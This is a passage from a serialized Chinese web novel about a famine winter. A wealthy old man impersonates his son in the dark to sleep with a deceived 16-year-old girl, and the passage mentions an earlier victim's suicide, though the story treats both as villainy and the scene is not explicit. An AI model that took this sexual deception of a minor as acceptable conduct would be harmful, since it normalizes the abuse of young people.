“有人吗?开开门。” 高娟儿上前敲门,一下两下……许久后依旧没人回应。 “会不会没人?” 高婵儿一口否定:“不可能,这么大的雪,能去哪?继续敲。” 这回敲了小半盏茶功夫后,门里传来脚步声,随后大门露出一丝缝隙。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十五章 洪府见不得人的秘密 洪府。 高墙大院内是不同于府外铺天盖地的大雪,院内被打扫得很干净。 正房里,地龙烧得极旺,热气从青砖地下渗出,将整个屋子烘得暖融融的。 黄花梨木的雕花大床上,一男子半倚在锦绣堆里,身上盖着一条狐皮褥子,那狐皮油光水滑,一看便是上等货色。 “秋红,茶。”男子眼睛都没睁,懒洋洋地唤了一声。 “是。”站在床边的青衣婢女连忙应声,转身去端那盏刚沏好的龙井。 秋红小心翼翼地捧着茶盏,跪在床边的软垫上,将茶递到男子手边。 男人惬意地抿了一口,就听婢女道:“刚门口小厮回话,府外有两个姑娘扣门,说找洪家少爷。” “姑娘?”男人憋在屋里两月,正是心痒难耐的时候,身边的婢女看腻了,也玩腻了,想寻点新鲜玩意儿,“长得好看吗?” 婢女知道男人的脾性,一早打听清楚,娇笑道:“听说,有一个长得不错,小家碧玉,是您喜欢的长相。” 男人茶顾不上喝了,连鞋差点忘了穿,“带我去瞧瞧。” “那两姑娘说来找少爷的。”婢女提醒道。 男人掐着少女的下巴:“你不也是我从少爷屋里带出来的,这么快就忘了?” 秋红羞红了脸,撒娇似的在男人胸口上捶了两下。 换做往常他肯定要拉着人倒在榻上快活一番,今日兴致被别处吸引,只想赶紧瞧瞧送上门的美娇娘。 很快,男人行至大门前,侧身躲在门口,朝门缝往外瞧。 一个身量纤纤,头戴粉绒花的少女亭亭立在门前,姿容秀丽,粗布麻衣难掩姿色,婢女说得不错,正是他喜欢的长相,也是他最中意的少女年纪。 小了没张开,吃起来没滋没味,大了没趣味少了少女的娇憨青春。 身后站着的年纪小些的少女,皮肤黑了点,五官跟之前那个有五分相似,男人慧眼如炬,一下子看出只要好好调理,后头那个小的日后姿色不比姐姐差。 门口小厮道:“老爷,她们二人说找咱家少爷,说是跟少爷有婚约。” “恩……”洪老爷激动的面色红晕,沉浸在将双姝收入房中的畅享中,忽然听清小厮说的话,“恩?婚约?什么婚约?” 小厮在洪老爷耳边一阵嘀咕后,男人捋着稀疏的胡须,眯起比黄豆大不了多少的小眼睛,道:“少爷知道了吗?” “已经派人去通知少爷了?少爷说两个月前确实在路上见到一容貌不错的姑娘,还派人去打听家世,想纳进门当妾,后来暴雪来临,耽搁了。” 洪老爷意味深长点点头:“妾啊,连问名纳采都没有,算什么婚约,对方什么家世?” 小厮据实以报:“是村里农户的女儿,家里穷得很。” 洪老爷一展笑颜,“那就是没钱没势咯,跟少爷说,人归我,他想要好的,来我院中挑美貌婢女,几个都行,再给他每月的月银添五十两。” 洪家父子共用女人的癖好,在府中早不是什么秘闻,只是下人们拿了好处,嘴牢,消息一直没传出去。 很快有小厮将父子两地交易的结果传回来。 “少爷说,老爷看着办就行。” 意思是答应了。 洪老爷大手一挥,满脸急不可耐的猥琐模样:“快,把人请进来,送去沐浴更衣,然后送到我房里。” 身旁的小厮提醒道:“老爷,要不要等天黑?上回那个,就是半路上发现不对劲,撞墙死了。” 父子俩临时交换女人不是第一次,有像秋红一样知情的,当然也有像高婵儿一样不知情的。 想起上回死活不肯从的少女,洪老爷眼前闪过一片血雾,那是少女撞墙而死留下的,一连几个晚上他没睡好觉,梦里女子满脸是血,找他索命,直到府里找大师做法,他才得以安枕。 万一这也是个烈性的…… 洪老爷连连点头:“你说的有道理,等天黑再送过来。” 洪府朱红大门在高婵儿姐妹两面前缓缓打开。 “二位姑娘里面请。” 高婵儿见下人对她态度恭顺,心中一喜,看来洪少爷是承认她的身份了,掩住激动跳动的心脏,昂首挺胸跨过高高门槛。 眼前豁然开朗,先是绕过一面巨大的影壁,上面松鹤延年的图案栩栩如生,高婵儿许久没见过纯白和灰黑以外的颜色。 高娟儿更是忍不住伸手想摸一摸那精致的纹路,却被高婵儿一巴掌拍开了手。 “收起你没见过世面的样子,别给我丢人。” 绕过影壁,宽阔的青石板甬道通向府中,道路两旁种植的名贵花种竟还开得鲜艳娇嫩,几个穿红着绿的丫鬟正在打理鲜花,见到有人来,停下动作好奇打量二人。 洪家连丫鬟的穿着,也比姐妹二人好上太多,高婵儿挡住磨损的袖口,架不住高娟儿浑身补丁,二人衣料灰扑扑,怎么藏都难掩穷酸味。 带路的小厮是人精,一眼看出高婵儿的局促:“少爷说,姑娘一路赶来风尘仆仆,先去沐浴洗去周身疲累,再到小厅用膳,伺候二位的丫鬟少爷已经准备好了。” 这章没有结束,请点击下一页继续阅读!来之前,高婵儿还担心洪少爷身有旧疾,怕性子难以接近,没想到竟是个处处为人着想的贴心君子。 想到日后住在豪华的大院中,身旁数不清的丫鬟服侍,还有富裕的丈夫,高婵儿先前的顾虑一扫而空。 高娟儿比她清醒:“姐,洗澡就算了吧,人生地不熟的,咱还没见到洪少爷呢。” 高婵儿早被荣华富贵迷了眼,哪听得进妹妹的话,嫌弃地望了她一眼:“你也不闻闻你身上的味道,几个月没洗澡,熏死人,你不洗我洗。” 她还想清清爽爽,换身干净衣裳见未来夫君呢。 见拦不住,高娟儿悻悻闭上嘴,几个丫鬟将高婵儿领了下去,她就在门外等着,直到有丫鬟喊她去吃点心,高娟儿才离开。 澡池里,氤氲的雾气散开,少女褪去衣物,任由温热的池水缓缓遮盖过身体。 舒适、放松、惬意,一切美好的词汇不足以形容她此刻的心情。 有丫鬟给高婵儿擦背,布巾子刚搓一下,下来一团皴。 高婵儿身后没长眼睛,看不见对方嫌弃的眼神。 “你叫什么名字,在府里多久了?” 丫鬟回道:“奴婢秋红,刚来半年。” 半年,足够了解府中人的性情了。 高婵儿:“洪少爷是怎样的人?府里还有别的主子吗?” “少爷是府里独子,人上进长得端正,洪家财大气粗,对下人也大方,府里就两个主子,还有一个是少爷的父亲,洪府的老爷,老爷为人宽厚,待下亲和,是个让人尊敬的人。” 秋红有一搭没一搭给少女清洗,目光却不由自主落在帷幕后一道若隐若现的身影上。 角度选得刁钻,若不是事先知道那里有人在偷窥,不会有人注意那个角落,正有双浑浊色眯眯的眼睛正盯着少女的胴体偷看。 她的一顿彩虹屁,专门说给帷幕后头的男人的听的。 高婵儿不是傻子,知道婢女的话听个七八分可以了。 洪家不仅没有少夫人,连老夫人都没有,那岂不是她嫁进来后直接管家,甚至不用伺候婆母了? 天大的好事怎么就落在她头上了,老天爷一定是觉得她投错了胎,才在婚嫁上补偿她的。 高婵儿心里美滋滋,说话不自主带上主人架势,使唤起秋红越发得心应手。 秋红瘪瘪嘴,压下眼底看好戏的神色,她听门房说了,高婵儿就是泥腿子家养出来的女儿,难怪不知廉耻上赶着送到男人门上,这跟自荐枕席有何不同。 半年来,沦为父子两玩物的秋红,心态变得越发恶毒,凭什么只有她跟玩意儿似的被那恶心的两父子玩弄,她要更多女子沦落到跟她一样的下场。 高婵儿穿上暖和的褂子,又在外头披了一层狐狸毛披风,欢喜地摸着上头顺滑的毛发。 她听到秋红问:“高姑娘,原来的衣裳还要吗?这双狼皮手套瞧着还能用。” 洗得发白的棉袄上放了一双狼皮手套,高婵儿扫了一眼,语气冷淡:“你喜欢,赏你了。” “赏”这个字听得秋红眼角一抽。 真把自己当洪家少奶奶了? 今晚上的好戏,她真是越来越期待了。 高婵儿在丫鬟的带领下,走进招待客人的小厅,就见高娟儿嘴里塞得满满的,跟仓鼠一样吃着东西,半点仪态也无。 身上的衣服新换的,丫鬟说她打翻了茶杯。 围观的丫鬟捂着嘴偷笑。 明明从前在家时,高娟儿也是这么吃东西的,莫名的,当下被人盯着嘲笑,高婵儿觉得妹妹丢尽了她的人。 夜色很快西沉,周边有暖炉,地下有地龙,高婵儿第一次觉得冬天很暖和,从前十六年生活竟不如今天一次畅快。 “姑娘,少爷在主屋等您,请随奴婢来。”秋红过来请人,低垂眉眼里的算计无人发现。 高娟儿拍拍手里的糕点屑,起身要跟上,却被秋红拦下:“少爷请婵儿姑娘一人。” 高婵儿揪着帕子,有些心慌,男子单独约见她是什么意思,她岂能不懂。 只是她人微言轻,若是不从了洪少爷,早日攀上高枝,万一……万一洪少爷日后反悔怎么办? 不如先生米煮成熟饭…… 高娟儿还在跟秋红争论,想跟着一起去:“我为什么不能跟着,一路上我都是跟在姐姐旁边的,爷奶说了,要我寸步不离。” 高婵儿原本还觉得她是担心自己,见穿上新衣的高娟儿隐约露出几分女儿家的姿色,果然是人靠衣装,竟比原先漂亮不少。 万一洪少爷也瞧上娟儿…… 高婵儿不敢赌。 “我自己去就行。” 在名分没彻底落定前,任何潜在威胁都不能存在。 天逐渐黑透,洪府里点燃灯笼,红得晃眼,阴影倒映在墙壁上,微微晃动,衬得有丝诡异的阴森。 越往里走,布置越豪奢,高婵儿的心跳得厉害,一想到即将发生的事,她双手止不住地颤抖,毕竟只是个十六岁没见过世面的小姑娘。 本小章还未完,请点击下一页继续阅读后面精彩内容!踏进一个独立院落时,突然有府卫先她一步扣响房门。 “主子,抓到一个试图翻墙进府的小贼。” 屋里传来一道青年男子的声音:“偷到我府上来了,审问了吗?” “打了二十棍子,人昏过去了,现在关在柴房,看穿着像是乡下来的,挺年轻,十五岁左右的少年人。” 高婵儿身体一僵,是程云,那个蠢货追过来了。 不行,她不能让洪少爷知道她跟程云的关系,大户人家注重贞洁,虽说她跟程云没越矩行为,但日后追究起来,毕竟是他领她来镇上的,还在外头过了一夜。 说不清,怎么都说不清。 最好彻底断绝关系。 高婵儿忘了,就在半日前,她还口口声声应承要帮程云找活儿干,当下满脑子都是她的荣华富贵,其他人其他事都得靠边。 屋里的声音再次响起:“明早送官。” 府卫正准备离开,突然被拦住,只听一阵婉约清丽的嗓音响起:“外头大雪,官府不知道当不当值,不如把人丢出府去,是生是死看他造化吧。” 府卫皱眉,虽不知道眼前人是谁,单看姣好的长相和入夜随意进入主子院落,猜也能猜到七七八八。 一个新人,刚来就想左右主子的想法,不知该说一句天真,还是说一句蠢笨。 从前也有伺候主子的丫鬟,恃宠生娇,没多久就被厌弃,现在尸骨在哪都寻不着。 显然今天主子心情很好,没有追究少女的僭越:“还不按照姑娘说的做,这点小事,以后不用来报。” “是!” 府卫离开,高婵儿也被送进“洪少爷”屋中。 屋内昏暗,只有浓厚的檀香味飘出来,高婵儿停在门前,深吸一口气,声音因为紧张而颤抖:“洪少爷,怎么不点灯?” 青年声音自远而近响起:“烛火晃眼睛,白日账本看累了,大夫叮嘱晚上要少看烛灯。” 说话间,人已经走到近前,高婵儿闻到他身上厚重的香味,不知用的什么香料,熏得高婵儿鼻尖不适。 她忍着没表现出来,怕对方觉得她没见识。 男人的呼吸喷洒在她耳畔,一双手在她脸颊旁摩挲,手心粗糙,明显不是青年人该有的手掌,反倒像是个老年人。 “洪少爷,你的手……” 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十六章 重伤 闻言,男子动作一顿,道:“哦,很粗糙是不是,我爱好练武,手心磨出不少茧子,伤到你了?” 洪少爷不仅会打理家中生意,还会习武?传言不是说他跛另一只脚,还生得肥头大耳吗? 原来传言也不能全信。 高婵儿顿觉自己捡到宝了,胆子不由得大起来,手覆上脸颊上的手背,声音婉约:“没有,我哪儿有那么脆弱。” “真的?那本少爷若再粗暴些,会不会弄碎了你?”男子调笑声响起,不知是不是高婵儿的错觉,她好似在间隙中听到一丝过于沙哑厚重的声调。 突然,高婵儿整个人被打横抱起,羞窘和惊慌让她来不及深究,既期待又害怕接下来发生的一切。 夜色寂寥,暖帐内鲜活的年轻肉体和年迈的腐朽身躯交织在一处。 月色被乌云遮蔽,廊下的红灯笼被夜晚的风吹得肆意翻飞,上头的红色流苏纠缠在一起,像是怎么都分不开。 不知情的人陷在未来锦衣玉食的美好幻想中,知情的人却无比渴望第二天的太阳快些升起,让一切污垢大白于天下。 高娟儿住在丫鬟安排的厢房中,身边是以往想都不敢想的软被高枕,她却无心睡眠,心事重重。 外头有值夜的丫鬟在聊天。 “外头冰天雪地,那人还在昏迷,直接丢出去不得冻死吗?” “胆子真大,偷东西偷到洪家来了,不是送死吗?” “不知道高姑娘是心善还是歹毒,送官府可能还有命活,丢出去铁定死路一条。” 高娟儿从丫鬟聊天中得知,有个年轻人试图翻墙进入洪府,被打了一顿昏过去了,本来是要送官府的,新来的高姑娘说将人丢出府去,饶他一命。 她一瞬间想到程云。 “那人在哪?”少女突然开门,吓了丫鬟们一跳。 其中一个穿杏黄衫子的道:“你说那个小贼吗?应该已经被府卫丢出去了。” 高娟儿一个健步冲出去,留下几个丫鬟面面相觑。 杏黄衫子的丫头歪头冲身旁比她略矮些的丫鬟道:“你说,她姐姐会不会成为咱们的主子?” 矮个丫鬟嗤笑一声:“顶多是个妾,咱们老爷什么样大伙儿还不清楚吗?个把月就腻了,到时候活得还不如咱们这些丫鬟呢。” 杏黄衫丫头点了点她的鼻尖,笑道:“你啊,还不快把老爷的戏楼打扫干净,老爷每天都要吊嗓子,练口技的。” “不着急,老爷得了新欢,兴致在别处呢。” 府里没秘密,大伙儿都知道今天找上门两个姑娘,其中一个被主子收了房,至于最后落到哪个主子房里,明天才能知道。 —— 程云是被冻醒的。 后背一片冰凉,屁股和后背阵阵发痛,脑海中的记忆纷至沓来,他翻墙被发现,被打了。 程云费力想起身,却发现动弹不得,他的滑雪板还落在洪家外墙跟底下,随便一动,身下雪松散往下陷。 不起来会被冻死,起来会被雪掩埋。 左右为难,都是个死。 没想到短短三日功夫,他两次面临死亡,还都是为了同一个人。 被抬出洪家的时候,他是有意识的,听到洪家下人说,府里来了个漂亮姑娘,今晚就被老爷收了房。 丢他出府是高婵儿的主意。 不知是不是风雪清洗了他混沌的脑子,程云此刻只觉得讽刺不已。 人一平静下来,思绪变得特别集中。 老爷? 洪府下人说的是,高婵儿被洪府老爷收了房吧。 她不是要嫁给洪少爷当妻的吗?怎么成了洪老爷的妾。 算了,她都不顾他的生死。 他何必再管她的闲事。 日后是好是坏,他跟高婵儿再也没关系了。 就是不知道,他有没有以后。 精神逐渐放空时,程云突然感觉有东西在扒拉他的裤脚。 程云:镇上也有野兽吗? 不对,好像是双人手。 不对,他好像在被人拖着走。 夜色昏暗,程云看不清那人的脸,还是从她模糊的身影,一眼认出,是高娟儿。 —— 苗婶子睡梦中被人吵醒,一时间恍惚,不知是在现实,还是在梦中。 直到院门“砰砰”的拍打声越发清晰,她赶紧推搡一旁的丈夫:“别睡了,有人敲门。” 苗叔睡眼朦胧:“不会吧,大晚上,谁来啊?” 说话的功夫,苗婶子已经披上衣服走到院中。 “谁啊?” “苗奶奶,是我,娟儿。” 苗婶子一愣:“娟儿?”动作快一步打开拴木,没等问出口她怎么又回来了,看到的就是躺在地上,不知是生是死的程云。 “老头子,不得了老头子!” 苗叔小跑出屋,连衣服也没顾上:“怎么了?怎么了?” 见到受伤少年的刹那,苗叔瞳孔瞪得老大,手忙脚乱将人背在肩膀上:“快快快,把家里的药膏拿来。” 屋里点着暖炉,少年身上的衣服被一件件褪下,最后只留下单衣,再褪就得露出后背和屁股。 这章没有结束,请点击下一页继续阅读!里衣沾染上血色,皮肉糊着血,粘在一起,只能用剪子剪开上药。 程云这回是被疼醒的。 室内烛光昏暗,面前人脸熟悉,他有气无力喊了声:“苗奶奶……” 苗婶子忙道:“别说话,好好休息,我们给你上药呢。” “撕拉”一声,后背里衣被撕开,一直延伸到屁股位置。 疼得程云龇牙咧嘴,洪府的人下手真狠,跟有仇一样。 “天啊,全是血,能不能救了?”一道惊呼带着少女特有的娇俏,在空气中响起。 程云猛的转脸望过去,就见高娟儿站在离床榻不足三步的距离,正目光灼灼盯着他某处看。 “啊!你你你……” 程云不知哪来的力气,跟惊弓之鸟般蹦起身,结果又是一阵撕心裂肺的疼痛,整个人载倒在褥子上。 高娟儿大惊失色:“你小心点,我好不容易把你拉回来的。” 程云脸涨成猪肝色,“出去,你快出去,你是不是女孩?不害臊的吗?” 高娟儿切了一声:“得亏我不像寻常女子般力气小,不然今夜你就得冻死在风雪中,到时候赤条条来去无牵挂,看你还能不能跟我讨论害羞不害羞的事。” 风雪中冻死的人,最常见的便是衣服被人扒光,死人哪还需要蔽体呢。 苗婶子见程云来回扭动身子,好几回膏药涂错地方。 忙将高娟儿推出屋去:“哦呦,姑娘家家的,小心长针眼。” 高娟儿被推出屋,嘴硬心却软:“苗奶奶,他不会有事吧?” 苗婶子也不清楚:“得看今晚会不会发烧,我听说挨了板子的人,身上的伤倒是其次,退不了烧,才是最要命的。” 高娟儿咬咬牙:“我去找大夫。” 说完她就想往外冲。 “等一下,现在镇上的医馆除了济世堂没有开着的,即便是济世堂,每日也只营业两个时辰,现下早关门了。” 苗婶子见眼前的小姑娘人不大,却能在冰天雪地里将身量比她高多的少年拉回来,眼里的担忧满的要溢出来,要么是个心善的大好人,要么小姑娘对程云存着别样的心思。 她之前对高娟儿印象就不错,这次干脆单刀直入:“娟丫头,你老实跟婶子说,小云的伤怎么来的,还有你们姐儿俩来镇上到底做什么,你姐姐呢,怎么没跟你一起回来?” 高婵儿已经留在洪府,心愿达成,长辈交代的任务她也完成了,高娟儿知道没有隐瞒的必要,将实话讲出口。 苗婶子的脸色越听越不对劲,到最后听到高娟儿说她姐姐入夜进了洪少爷的院子,才知大事不妙。 “什么好姻缘,造孽哦,你姐姐是掉进火坑了,这个火坑还是她自己上赶着往里跳的。” 高娟儿不解,“什么意思?” 苗婶子在镇上摆摊卖了几十年面条,每日往来客人无数,小道消息比谁都灵光。 几个月前,摊上有人来吃面,压低声音小声谈论,还是被她听到了,洪家拖出去一个撞柱而死的年轻姑娘。 “那姑娘原是被纳进府中给洪少爷当妾的,半月未到,撞柱而死。赶巧我有个亲戚,每日给洪家输送新鲜瓜果,某次听到洪家下人议论,话里话外的意思,洪老爷伪装成自己儿子,将姑娘骗上床,结果被姑娘发现,不堪受辱自杀而亡。” 高娟儿惊骇不已,“天底下还有这么不要脸的爹?洪少爷真可怜。” 苗婶子见她不开窍,提点道:“可怜什么呀,父子俩狼狈为奸,互换女人的事不是一次两次,洪家下人都知道,据说,洪老爷爱好听戏,最爱口技,还专门请老师傅学过,刚开始姑娘们根本分不清,等意识到不对劲,惨剧已经发生,除了认命,只剩个死字。” 高娟儿想到进洪府后,二人明明有充足的时间,洪家少爷不是在忙账本,就是在小憩,竟连一面都没露,直到月色西垂,天黑得看不清…… 看不清! 少女顿时脸色煞白,心跳如雷,脑海中不由浮现起一些被她忽视的细节,叫秋红的婢女死后不肯她跟着,洪府的丫鬟见到她神色怪异…… 顿时,她的后背起了一身冷汗,冬日的寒风透过缝隙吹过来,冷得她一哆嗦,随即从尾椎骨升起一股直冲天灵盖的恐惧。 难道,高婵儿不是被洪少爷喊走的,而是高老爷。 “我得回去一趟。”高娟儿慌忙拿起滑雪板冲出门。 苗婶子阻止不了,人已经消失在雪夜中。 “小云开始发烧了。”苗叔焦急的声音从里屋传来。 苗婶子无暇顾及其他:“赶快用帕子给他降温,明天天一亮去济世堂请大夫。” 清河镇的雪道是由官府组织各家壮劳力挖通的,里坊制的好处在此时显露出来,官府的人不用四处奔波寻人,只用在坊内组织人手,几条通往东西集市的雪道早已疏通。 因暴雪突然降临,没有准备足够过冬粮食炭火的百姓数不胜数,镇上米面粮油的价格翻了几倍,处于严重供不应求的状态。 这章没有结束,请点击下一页继续阅读!医馆更是爆满,草药早已告罄。 几家底蕴不够的药铺已经歇业,大夫医术再精湛,没有治病草药,大夫就跟无米之炊的巧妇般,束手无策,只能关门大吉。 唯有老字号济世堂,依旧每日营业两个时辰,用微薄的库存,支撑着医馆。 关大夫给病人针灸完,搓着冻发红的骨节,叮嘱道:“膝盖上的伤注意保暖,这几日别出门了,正是恢复的关键时刻,我三日去一次你门上。” 病人连连道谢:“多谢关大夫,给您诊疗费。” “不用给,留着买粮买炭吧。” 病人红着眼眶,哽咽道:“济世堂真是菩萨庙,您是好人啊!” 病人走后,趴在柜台前拨算盘的关长宏,看着账面上的金额,长叹一口气:“白干,一年全白干……” 关大夫收起针灸袋子,问道:“家里有的龙,风吹不到雪飘不进,你跑来医馆做什么?” 关长宏叹气声音更响亮:“就是待烦了才来医馆的,我娘天天逼着我看书,雪灾都不忘找媒婆给我相看姑娘。” 二人正说着话,门外快步走进来一老汉,关长宏记得他,东街卖面条的,之前跟程诺的卤肉摊子合作过,他还去吃过两回呢。 “大夫,家里有人发高热了。” 关大夫第一反应是风寒引发的内热。 “不是,是受了外伤,昨天晚上烧起来的。” 关长宏记得老汉跟妻子两人生活,家里并没有其他亲戚,细问之下才知,受伤的人是程云,程诺的侄子。 等关大夫拎着药箱到苗家时,程云已经烧得开始说胡话了。 “我先给他施针,你们赶紧去熬药。”关大夫交代完,苗婶子接过药包立马进厨房准备。 关长宏跟着一起来,见只有程云一人,问道:“只有他一个人来镇上了?程姑娘没来?” 苗婶子将炉子点燃,添柴烧得旺旺的,才有时间将这两日的事告诉关长宏,末了她道:“小云受伤,还有那两姑娘的事,尽快通知程家人,再晚我怕要出人命!” 关长宏一听涉及洪员外,便知事情难办,回去后立刻派人去大梨村传信,他府中家丁里有祖辈从北方迁徙过来的,最擅长在雪地里行走。 大梨村。 程家人收到消息时,才知程云根本没跟着程诺去云溪村,而是背着他们带高家两女儿进镇找男人了。 赵氏差点气晕过去。 “小畜生,我怎么生了个一根筋的蠢货。” 亲爹因为他的莽撞还在床上躺着修养,急需大夫治伤,他倒好上赶着又献殷勤去了。 记吃不记打。 程大壮气得鼻孔直冒烟:“不管他,最好死在外头,别回来了!” 小盼儿看他像是看到一只哼气的大水牛,伸手给他顺平高低起伏的胸口:“大舅不气,大舅不气。” 程大壮摸摸她的脑袋,依旧难掩心里对儿子的失望。 关家的家丁,不仅是来送信的,此次还是听从关长宏的吩咐,将程大壮接到镇上的治病修养地。 “我家主子说了,若您不嫌麻烦,可以跟我们一起回济世堂,您家公子如今也住进咱们医馆了。” 程大壮:“我受了伤行动不便,怕是去不了那么远的地方。” “您放心,交给我们,我们有法子带您去。”家丁回道,“那跟贵公子一起去镇上的两个姑娘,要不要去门上交代一声?” 话音刚落,好不容易稳住情绪的赵氏,直接从椅子上跳起来,像是被踩到脖子的大鹅:“交代什么!她们家女儿把我儿子害得这么惨,我还没找高家算账呢!自己闺女不要脸跑出去找男人,让我云儿当冤大头,算盘珠子蹦我脸上了!一次两次,真当我们家好欺负?” “住嘴!” 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十七章 睡错了人 程老头掌心用力拍打在桌面上,声音洪亮,震慑意味十足,扯着嗓子吼叫的赵氏立刻噤声,只是脸上的表情依旧愤怒。 “我去通知高家,好歹邻里几十年,婵儿和娟儿是我看着长大的,大人的事不该报应在孩子身上。” 赵氏嗫嚅:“高家能听就有鬼了。” 她猜得不错,程老头上门说清原委后,非但没得到高家人的感谢,反倒被以高大福为首的高家人轰出门。 “滚滚滚,我孙女好得很,以后是要做洪家女主人的。” “姓程的,别以为我不知道你什么心思,你孙子上赶着逞英雄,又不是我女儿拿刀架脖子上逼他的,现在见娶我女儿无望,就想破坏她的好姻缘?呸,做梦!” 程老头被推搡几下,忍住心里的怒气:“话已经带到了,洪家父子两不是好东西,高婵儿未必有那么好的福气,为了两个孩子的安全……” 高家大儿媳妇听到这话像是炸了毛的母鸡,叉腰凶狠瞪着他:“谁没好福气?闭上你的臭嘴,你个老不死的东西,眼红我婵儿直说,拐弯抹角咒我闺女,小心出门摔死!” “不可理喻,不可理喻。”程父扶着上下起伏的胸口,气冲冲回了家。 赵氏一脸早知如此的神色,转头冲丈夫道:“瞧见了吧,高家的德行,配我们操心吗?去了镇上,洪家的事不许管,高婵儿更不许救,一个人有一个人的命,你是天王老子还是观音菩萨,轮得到你操心。” 她这话有指桑骂槐的意思,偏偏程父刚被高家人骂了个狗血淋头,此刻缩得跟鹌鹑一样,一句话都不敢再说。 反倒是程大壮开了口:“那高娟儿咋办,你没听来送信的人说吗,要不是娟儿,小云未必有命活着。” 赵氏咬后槽牙,不做声。 程大壮知道她这是不反对搭手救高娟儿一把,至于高婵儿,听天由命吧。 “不知能不能劳烦二位,将消息送到云溪村我小妹手上。” 关府的家丁这趟除了接程大壮去镇上,也有意将程诺请去医馆,奈何程诺不在家。 闻言,一口应下。 程诺收到消息时,云溪村的百姓被滑雪折磨得不像样子,一大半的村民主动选择放弃,剩下的一小半同样摔得伤痕累累,产生退意。 程诺捧着茶杯,靠在屋顶上,悠哉游哉喝着热茶,“我说了,不怕摔是学会滑雪的第一步,怎么都不听呢。” 孙村长牙齿快咬碎了,他没想到看起来容易的滑雪,学起来竟如此费劲。 他看了眼被树枝枯木撞得又红又肿的胳膊,还有隐隐发疼的后背,意识到程诺这是在报复他们呢。 “程四娘,你们家的粮食,是不想要了吗?” 面对村长的威胁,程诺丝毫不慌,漂亮的眼眸往上一扬:“村长这话什么意思,四娘听不懂,您让我教村民我教了,他们没天赋又怕苦,我可没赶他们走,是他们主动放弃的,难道这也要怪在我头上?” “你……”村长被怼得哑口无言,只能再用老一套威胁她,“好,既然村民学不会,那我今天就分了你家的柴火和粮食,总不好你一家吃香喝辣,却让村里百姓忍饥挨饿,大伙儿说是不是?” 此话一出,一呼百应,孙村长万分得意。 就在这时,关家派来接人的队伍到了。 十几个训练有素的家丁,领着几辆在雪地里行走自如的车辆,赶到了云溪村。 村民震惊地望着这队人,对身后能踏雪而行的无轮车马惊叹不已。 连孙村长的第一反应不是询问来人意图,而是惊喜发现天底下又不是只有程四娘有雪上行走的本事,他完全可以找这些外乡人学本事。 等学会了,程家人利用价值没了,他家里的粮食炭火还不是他这个当村长的说的算。 孙村长谄媚地走上前,用最饱满的笑容迎上前,结果话还没说出口,就见来人绕过他径直走向程四娘。 领头的家丁没见过程诺,依旧一眼在人群中瞅见那最显眼的女子,乌发粉面,姿态闲散,盯着他们的目光没有周围村民的讨好,一派娴静安逸。 家丁拱手道,“这位就是程姑娘了吧?” 程诺点点头。 “我家少爷是关长宏,派我接您和您的家人去清河镇,您收拾收拾,这就出发吧。” 程诺这才知道大哥已经被关长宏接走了,程家人也知道了程云受伤的事,一时间心忧不已,马不停蹄收拾好包裹,连一粒米一块炭都没剩下,全部打包带走了。 浩浩荡荡没有轮子的车队,一起往云溪村村口方向驶去。 孙村长此刻才意识到带领全村走出雪灾的机会即将从指缝中流失,惊慌失措下想出个烂主意。 想要拦着车队不让通行。 梦想是美好的,现实是残酷的。 若是村民们学会了滑雪,还有能力拦一拦,可惜,车辆在雪上行驶的速度,是村民怎么都赶不上的,只能悔恨不已,眼瞧着车队消失在视线中。 “都怪你,要不是你惹毛了程四娘,事情怎么会发展到现在这步!”气疯的村民顾不上村长往日的威严,指着鼻子骂起来,“现在苦也受了,本事没学会,出不了村上不了山,大伙儿都得冻死饿死,你若当初轻声细语求程四娘,大伙儿何愁学不会滑雪?” 本小章还未完,请点击下一页继续阅读后面精彩内容!一石激起千层浪。 不仅是他,更多的村民加入讨伐村长的队列中。 事情没了转圜的余地,大伙儿几日来压抑的情绪,急需一个宣泄口,孙村长首当其冲成了替罪羊。 都要饿死冻死了,谁还在乎村长的威严,此刻的村长在她们眼中,屁都不是。 孙村长面对众人的指责,脸色煞白:“我……我也是为了大伙儿好,都怪程家人,是他们抛弃了你们。” 此时此刻,他依旧没意识到错误所在,村民们却不给他反驳的机会,乌泱泱的人群冲进孙村长家,先把他家的粮食和柴火瓜分了个干净,留下他的老娘追在后头大骂不已。 程诺跟着队伍一起赶到济世堂时,程大壮和程云的伤口敷了药,脱离危险,只要好好修养就成。 她从程云口中知晓更具体的故事走向,听到他说“洪老爷”将人带进院中,便知高婵儿是中了洪家父子的圈套了。 “姑姑……”程云趴在榻上,嘴唇因为疼痛泛着白。 程诺给他倒了杯热茶,问:“你想救高家姐妹两?” 程云沉默不语。 “万一高婵儿不走呢,万一她心甘情愿呢?”程诺。 程云声音平淡,平静到程诺一瞬间忘记曾经他为了讨高婵儿欢心,两次命悬一线。 “我不能主宰别人的命运,更不会干预她的选择。”程诺抬起头,眼里失去往日的色彩,与之而来的是一份属于大人的沉稳,“娟儿跟我说过,高婵儿要的是锦衣华服的生活,从前我猪油蒙了心,不相信。如今现实摆在眼前,我认了。” 程诺从他话里琢磨出味来:“哦,我明白了,你想让我将高娟儿带出来,至于高婵儿全凭她自己的意向,那万一高娟儿也不想回来呢?” “不可能。”刚才还死气沉沉的少年,此刻又有了一丝生机,连眼神都亮了两分,“她跟她姐姐不一样,她是个好……好人。” 总算开了眼,棍子没白挨。 程诺一直觉得高娟儿比高婵儿好多了。 “行吧,看在她救了你一命的份儿上,我替你去洪家走一趟。” 洪家后宅。 浓厚的香料味道遮蔽身上腐朽的气息,男人六十出头,身形臃肿如发酵的面团,裹着一身绣金线的绛紫绸衫,腰间勒出几层油腻的褶子。 一张浮肿的阔脸上嵌着两只浑浊泛黄的眼,眼袋垂若囊袋,瞳孔里还黏着未醒的浊光。 鼻头红如熟烂的朱柿,显然是常年酒色侵蚀的恶果,嘴角耷拉处积着两道深纹,活像被银钱压出的沟壑。 床上躺着的男人,不是洪少爷。 喜欢饥荒!前夫一家饿肚肠,我有系统黄金万两请大家收藏:()饥荒!前夫一家饿肚肠,我有系统黄金万两更新速度全网最快。 第一百六十八章 姐妹情,要你命 高婵儿听见进来换水的丫鬟,称呼他洪老爷。 老子睡了儿子的女人。 这是处于一片混沌中的高婵儿跳入脑海中的第一个想法。 